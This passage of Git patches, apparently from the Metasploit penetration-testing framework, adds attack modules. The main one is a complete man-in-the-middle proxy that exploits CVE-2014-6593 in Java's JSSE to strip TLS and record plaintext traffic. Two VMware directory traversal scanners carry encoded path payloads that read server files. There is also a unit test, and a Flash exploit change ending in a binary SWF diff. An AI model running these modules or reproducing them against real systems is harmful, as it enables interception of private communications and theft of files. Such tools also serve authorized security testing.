print_good("#{ip} - Found user: #{comp_user}") + report_note( + :host => ip, + :proto => 'tcp', + :port => rport, + :type => 'smb_loggedin_users', + :data => { :user => comp_user }, + :update => :unique_data + ) + end + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_line("UUID #{uuid[0]} #{uuid[1]} ERROR 0x%.8x" % e.error_code) #puts e From a48d79a2e727bda6efc07261f9a325a533b3a3fe Mon Sep 17 00:00:00 2001 From: Ramon de C Valle Date: Mon, 8 Jun 2015 19:41:17 -0700 Subject: [PATCH 0358/1013] Add jsse_skiptls_mitm_proxy.rb This module exploits an incomplete internal state distinction in Java Secure Socket Extension (JSSE) by impersonating the server and finishing the handshake before the peers have authenticated themselves and instantiated negotiated security parameters, resulting in a plaintext SSL/TLS session with the client. This plaintext SSL/TLS session is then proxied to the server using a second SSL/TLS session from the proxy to the server (or an alternate fake server) allowing the session to continue normally and plaintext application data transmitted between the peers to be saved. This module requires an active man-in-the-middle attack. --- .../server/jsse_skiptls_mitm_proxy.rb | 248 ++++++++++++++++++ 1 file changed, 248 insertions(+) create mode 100644 modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb diff --git a/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb new file mode 100644 index 0000000000..1f189ba8da --- /dev/null +++ b/modules/auxiliary/server/jsse_skiptls_mitm_proxy.rb @@ -0,0 +1,248 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 'Java Secure Socket Extension (JSSE) SKIP-TLS MITM Proxy', + 'Description' => %q{ + This module exploits an incomplete internal state distinction in Java Secure + Socket Extension (JSSE) by impersonating the server and finishing the + handshake before the peers have authenticated themselves and instantiated + negotiated security parameters, resulting in a plaintext SSL/TLS session + with the client. This plaintext SSL/TLS session is then proxied to the + server using a second SSL/TLS session from the proxy to the server (or an + alternate fake server) allowing the session to continue normally and + plaintext application data transmitted between the peers to be saved. This + module requires an active man-in-the-middle attack. + }, + 'Author' => + [ + 'Ramon de C Valle' + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => [ + ['CVE', '2014-6593'], + ['CWE', '372'], + ['URL', 'https://www.smacktls.com/#skip'], + ['URL', 'https://www.smacktls.com/smack.pdf'], + ['URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2015-1972971.html'], + ['URL', 'https://www-304.ibm.com/support/docview.wss?uid=swg21695474'] + ], + 'DisclosureDate' => 'Jan 20 2015' + ) + + register_options( + [ + OptString.new('FAKEHOST', [ false, 'The fake server address', nil]), + OptString.new('FAKEPORT', [ false, 'The fake server port', 443]), + OptString.new('HOST', [ true, 'The server address', nil]), + OptString.new('PORT', [ true, 'The server port', 443]), + OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), + OptString.new('SRVPORT', [ true, 'The proxy port', 443]), + OptInt.new('TIMEOUT', [ true, 'The timeout, in seconds', 5]) + ], self.class) + end + + def PRF(secret, label, seed) + if secret.empty? + s1 = s2 = '' + else + length = ((secret.length * 1.0) / 2).ceil + s1 = secret[0..(length - 1)] + s2 = secret[(length - 1)..(secret.length - 1)] + end + + hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, label + seed) + hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, label + seed) + + hmac_md5 = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), s1, hmac_md5 + label + seed) + hmac_sha = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha1'), s2, hmac_sha + label + seed) + + result = '' + [hmac_md5.length, hmac_sha.length].max.times { |i| result << [(hmac_md5.getbyte(i) || 0) ^ (hmac_sha.getbyte(i) || 0)].pack('C') } + result + end + + def PRF_SHA256(secret, label, seed) + hmac_hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, label + seed) + OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, hmac_hash + label + seed) + end + + def run + fake_host = datastore['FAKEHOST'] || datastore['HOST'] + fake_port = datastore['FAKEPORT'] || datastore['PORT'] + host = datastore['HOST'] + local_host = datastore['SRVHOST'] + local_port = datastore['SRVPORT'] + port = datastore['PORT'] + timeout = datastore['TIMEOUT'] + + proxy = TCPServer.new(local_host, local_port) + print_status('Listening on %s:%d' % [proxy.addr[2], proxy.addr[1]]) + + loop do + Thread.start(proxy.accept) do |client| + #loop do + finished_sent = false + handshake_messages = '' + application_data = '' + + #client = proxy.accept + + print_status('Accepted connection from %s:%d' % [client.addr[2], client.addr[1]]) + + context = OpenSSL::SSL::SSLContext.new(:TLSv1_2) + context.verify_mode = OpenSSL::SSL::VERIFY_NONE + + tcp_socket = TCPSocket.new(fake_host, fake_port) + fake_server = OpenSSL::SSL::SSLSocket.new(tcp_socket, context) + fake_server.connect + + print_status('Connected to %s:%d' % [fake_host, fake_port]) + + server = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM) + + begin + server.connect_nonblock(Socket.pack_sockaddr_in(port, host)) + + rescue IO::WaitWritable + raise Errno::ETIMEDOUT if IO.select(nil, [server], nil, timeout).nil? + end + + print_status('Connected to %s:%d' % [host, port]) + + begin + loop do + readable, _, _ = IO.select([client, server]) + + readable.each do |r| + case r + when fake_server + # The fake_server (i.e., server) is an SSL socket; Read + # application data directly. + header = '' + fragment = r.readpartial(4096) + + else + header = r.read(5) + raise EOFError if header.nil? + fragment = r.read(header[3, 2].unpack('n')[0]) + end + + print_status('%d bytes received' % [header.length + fragment.length]) + + # Drop the server hello done message and send the finished + # message in plaintext. + if fragment =~ /^\x0e\x00\x00\x00/ + if header[2, 1] == "\x03" + verify_data = PRF_SHA256('', 'server finished', OpenSSL::Digest::SHA256.digest(handshake_messages)) + verify_data = verify_data[0, 12] + else + verify_data = PRF('', 'server finished', OpenSSL::Digest::MD5.digest(handshake_messages) + OpenSSL::Digest::SHA1.digest(handshake_messages)) + verify_data = verify_data[0, 12] + end + + finished = "\x14#{[verify_data.length].pack('N')[1, 3]}#{verify_data}" + record = header[0, 3] + [finished.length].pack('n') + finished + + count = client.write(record) + client.flush + print_status('%d bytes sent' % [count]) + + finished_sent = true + + # Change to the SSL socket connected to the same server or + # to an alternate fake server. + server.close + server = fake_server + + # Save version used in the handshake + version = header[2, 1] + + next + else + # Save handshake messages + handshake_messages << fragment + end unless finished_sent + + # Save application data + application_data << fragment if finished_sent + + case r + when client + if finished_sent + # The server (i.e., fake_server) is an SSL socket + count = server.write(fragment) + else + # The server isn't an SSL socket + count = server.write(header + fragment) + end + + server.flush + print_status('%d bytes sent' % [count]) + + when fake_server + # The client isn't an SSL socket; Add the record layer header + # with the same version used in the handshake. + header = "\x17\x03#{version}" + [fragment.length].pack('n') + record = header + fragment + count = client.write(record) + client.flush + print_status('%d bytes sent' % [count]) + + when server + record = header + fragment + count = client.write(record) + client.flush + print_status('%d bytes sent' % [count]) + end + end + end + + rescue EOFError, Errno::ECONNRESET + path = store_loot( + 'tls.application_data', + 'application/octet-stream', + client.addr[2], + application_data, + 'application_data', + 'TLS session application data' + ) + + print_good("SSL/TLS session application data successfully stored in #{path}") + + client.close + fake_server.close + server.close + + next + end + + client.close + fake_server.close + server.close + end + end + + proxy.close + end + +end From 49e4820c57137f36eb95279f0899972651482c72 Mon Sep 17 00:00:00 2001 From: root Date: Tue, 9 Jun 2015 10:42:53 +0500 Subject: [PATCH 0359/1013] Add depcrecated note to the existing modules --- .../scanner/http/vmware_server_dir_trav.rb | 87 +++++++++++++++++++ .../http/vmware_update_manager_traversal.rb | 75 ++++++++++++++++ 2 files changed, 162 insertions(+) create mode 100644 modules/auxiliary/scanner/http/vmware_server_dir_trav.rb create mode 100644 modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb diff --git a/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb new file mode 100644 index 0000000000..ad5a26474b --- /dev/null +++ b/modules/auxiliary/scanner/http/vmware_server_dir_trav.rb @@ -0,0 +1,87 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + # Exploit mixins should be called first + include Msf::Exploit::Remote::HttpClient + # Scanner mixin should be near last + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Module::Deprecated + + deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_server_dir_trav') + + def initialize + super( + 'Name' => 'VMware Server Directory Traversal Vulnerability', + 'Description' => 'This modules exploits the VMware Server Directory Traversal + vulnerability in VMware Server 1.x before 1.0.10 build 203137 and 2.x before + 2.0.2 build 203138 on Linux, VMware ESXi 3.5, and VMware ESX 3.0.3 and 3.5 + allows remote attackers to read arbitrary files. Common VMware server ports + 80/8222 and 443/8333 SSL. If you want to download the entire VM, check out + the gueststealer tool.', + 'Author' => 'CG' , + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2009-0015.html' ], + [ 'OSVDB', '59440' ], + [ 'BID', '36842' ], + [ 'CVE', '2009-3733' ], + [ 'URL', 'http://fyrmassociates.com/tools/gueststealer-v1.1.pl' ] + ] + ) + register_options( + [ + Opt::RPORT(8222), + OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']), + OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']), + ], self.class) + end + + def run_host(target_host) + + begin + file = datastore['FILE'] + trav = datastore['TRAV'] + res = send_request_raw({ + 'uri' => trav+file, + 'version' => '1.1', + 'method' => 'GET' + }, 25) + + if res.nil? + print_error("Connection timed out") + return + end + + if res.code == 200 + #print_status("Output Of Requested File:\n#{res.body}") + print_status("#{target_host}:#{rport} appears vulnerable to VMWare Directory Traversal Vulnerability") + report_vuln( + { + :host => target_host, + :port => rport, + :proto => 'tcp', + :name => self.name, + :info => "Module #{self.fullname} reports directory traversal of #{target_host}:#{rport} with response code #{res.code}", + :refs => self.references, + :exploited_at => Time.now.utc + } + ) + else + vprint_status("Received #{res.code} for #{trav}#{file}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e + print_error(e.message) + rescue ::Timeout::Error, ::Errno::EPIPE + end + end + +end diff --git a/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb new file mode 100644 index 0000000000..837ab58a29 --- /dev/null +++ b/modules/auxiliary/scanner/http/vmware_update_manager_traversal.rb @@ -0,0 +1,75 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + include Msf::Module::Deprecated + + deprecated(Date.new(2015,7,21), 'auxiliary/scanner/vmware/vmware_update_manager_traversal') + + def initialize(info={}) + super(update_info(info, + 'Name' => "VMWare Update Manager 4 Directory Traversal", + 'Description' => %q{ + This modules exploits a directory traversal vulnerability in VMWare Update Manager + on port 9084. Versions affected by this vulnerability: vCenter Update Manager + 4.1 prior to Update 2, vCenter Update Manager 4 Update 4. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alexey Sintsov', #Initial discovery, poc + 'sinn3r' #Metasploit + ], + 'References' => + [ + ['CVE', '2011-4404'], + ['EDB', '18138'], + ['URL', 'http://www.vmware.com/security/advisories/VMSA-2011-0014.html'], + ['URL', 'http://dsecrg.com/pages/vul/show.php?id=342'] + ], + 'DisclosureDate' => "Nov 21 2011")) + + register_options( + [ + Opt::RPORT(9084), + OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), + OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) + ], self.class) + end + + def run_host(ip) + fname = File.basename(datastore['FILE']) + traversal = ".\\..\\..\\..\\..\\..\\..\\..\\" + uri = normalize_uri(datastore['URIPATH']) + traversal + datastore['FILE'] + + print_status("#{rhost}:#{rport} - Requesting: #{uri}") + + res = send_request_raw({ + 'method' => 'GET', + 'uri' => uri + }, 25) + + # If there's no response, don't bother + if res.nil? or res.body.empty? + print_error("No content retrieved from: #{ip}") + return + end + + if res.code == 404 + print_error("#{rhost}:#{rport} - File not found") + return + else + print_good("File retrieved from: #{ip}") + p = store_loot("vmware.traversal.file", "application/octet-stream", rhost, res.to_s, fname) + print_status("File stored in: #{p}") + end + end +end From 1fe2361e128049712839cfb4101569d647425c28 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 9 Jun 2015 02:23:27 -0500 Subject: [PATCH 0360/1013] Add rspec for BrowserProfileManager --- .../remote/browser_profile_manager_spec.rb | 158 ++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb new file mode 100644 index 0000000000..c048fd0ef9 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -0,0 +1,158 @@ +require 'spec_helper' +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserProfileManager do + + + def mock_report_note(args) + # args example: + # {:type=>"blLGFIlwYrxfvcY.new_tag", :data=>"\x81\xB7blLGFIlwYrxfvcY.new_tag\x80", :update=>:unique} + @notes.each do |note| + if note.ntype == args[:type] + allow(note).to receive(:data).and_return(args[:data]) + return + end + end + + # No profile found + note = create_fake_note(args[:type], args[:data]) + @notes << note + end + + def create_fake_note(tag, data) + note = double('note') + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + + note + end + + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true + # }} + let(:profile_packed_data) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + end + + let(:profile_tag) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + end + + let(:note_type_prefix) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + end + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend Msf::Exploit::Remote::BrowserExploitServer + mod.extend described_class + mod.send(:initialize) + mod.send(:datastore=, {'NoteTypePrefix' => note_type_prefix}) + mod + end + + let(:framework) do + framework = double('Msf::Framework', datastore: {}) + + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + @notes = notes + + db = double('db') + allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + + framework + end + + before(:each) do + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + describe '#note_type_prefix' do + context 'when note_type_prefix is used' do + it 'raises a NoMethodError exception' do + expect(subject.note_type_prefix).to eq(note_type_prefix) + end + end + end + + describe '#get_profile_info' do + + let(:found_profile) do + end + + context 'when profile is found' do + it 'returns a hash with the profile' do + found_profile = subject.get_profile_info(profile_tag) + found_profile_key = found_profile.keys.first + found_profile_data = found_profile[found_profile_key] + profile_data = MessagePack.unpack(profile_packed_data).values.first + expect(found_profile).to be_kind_of(Hash) + expect(found_profile_data).to eq(profile_data) + end + end + + context 'when a profile is not found' do + it 'returns an empty hash' do + bad_profile_tag = 'bad_profile_tag' + found_profile = subject.get_profile_info(bad_profile_tag) + expect(found_profile).to be_kind_of(Hash) + expect(found_profile).to be_empty + end + end + end + + describe '#update_profile' do + + let(:key_to_update) { 'os_name' } + + let(:os_value) { 'Windows 7' } + + context 'when no profile is on the database' do + let(:new_profile_tag) { 'new_tag' } + it 'creates a new profile' do + end + + it 'updates data to the new profile' do + subject.update_profile(new_profile_tag, key_to_update, os_value) + expect(subject.get_profile_info(new_profile_tag).keys.first).to eq("#{note_type_prefix}.#{new_profile_tag}") + expect(subject.get_profile_info(new_profile_tag).values.first).to eq({key_to_update => os_value}) + end + end + + context 'when the profile is found on the database' do + it 'updates the profile' do + expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq('Windows 8.1') + subject.update_profile(profile_tag, key_to_update, os_value) + expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq(os_value) + end + end + end + + describe '#init_profile' do + context 'creates a tag is provided' do + it 'creates a new profile' do + expect(@notes.length).to eq(1) + subject.init_profile('new') + expect(@notes.length).to eq(2) + end + end + end + +end \ No newline at end of file From b7f0fad72f0dbb276369bd6f22985eca64d33450 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Jun 2015 11:31:39 -0500 Subject: [PATCH 0361/1013] Modify CVE-2014-0569 to use the flash exploitation code --- data/exploits/CVE-2014-0569/msf.swf | Bin 18021 -> 20782 bytes external/source/exploits/CVE-2014-0569/Elf.as | 235 +++++++++++ .../source/exploits/CVE-2014-0569/Exploit.as | 114 +++++ .../CVE-2014-0569/ExploitByteArray.as | 85 ++++ .../exploits/CVE-2014-0569/ExploitVector.as | 74 ++++ .../exploits/CVE-2014-0569/Exploiter.as | 399 ++++++++++++++++++ .../source/exploits/CVE-2014-0569/Logger.as | 32 ++ .../source/exploits/CVE-2014-0569/Main.as | 287 ------------- external/source/exploits/CVE-2014-0569/PE.as | 72 ++++ .../adobe_flash_casi32_int_overflow.rb | 22 +- 10 files changed, 1024 insertions(+), 296 deletions(-) create mode 100755 external/source/exploits/CVE-2014-0569/Elf.as create mode 100755 external/source/exploits/CVE-2014-0569/Exploit.as create mode 100755 external/source/exploits/CVE-2014-0569/ExploitByteArray.as create mode 100755 external/source/exploits/CVE-2014-0569/ExploitVector.as create mode 100755 external/source/exploits/CVE-2014-0569/Exploiter.as create mode 100755 external/source/exploits/CVE-2014-0569/Logger.as delete mode 100755 external/source/exploits/CVE-2014-0569/Main.as create mode 100755 external/source/exploits/CVE-2014-0569/PE.as diff --git a/data/exploits/CVE-2014-0569/msf.swf b/data/exploits/CVE-2014-0569/msf.swf index a124c560f09b1a9ff03b1080ce13873cecc9d9d6..f771382e56e7adaccc4f73f87bb01c34e97dedd0 100755 GIT binary patch delta 20663 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 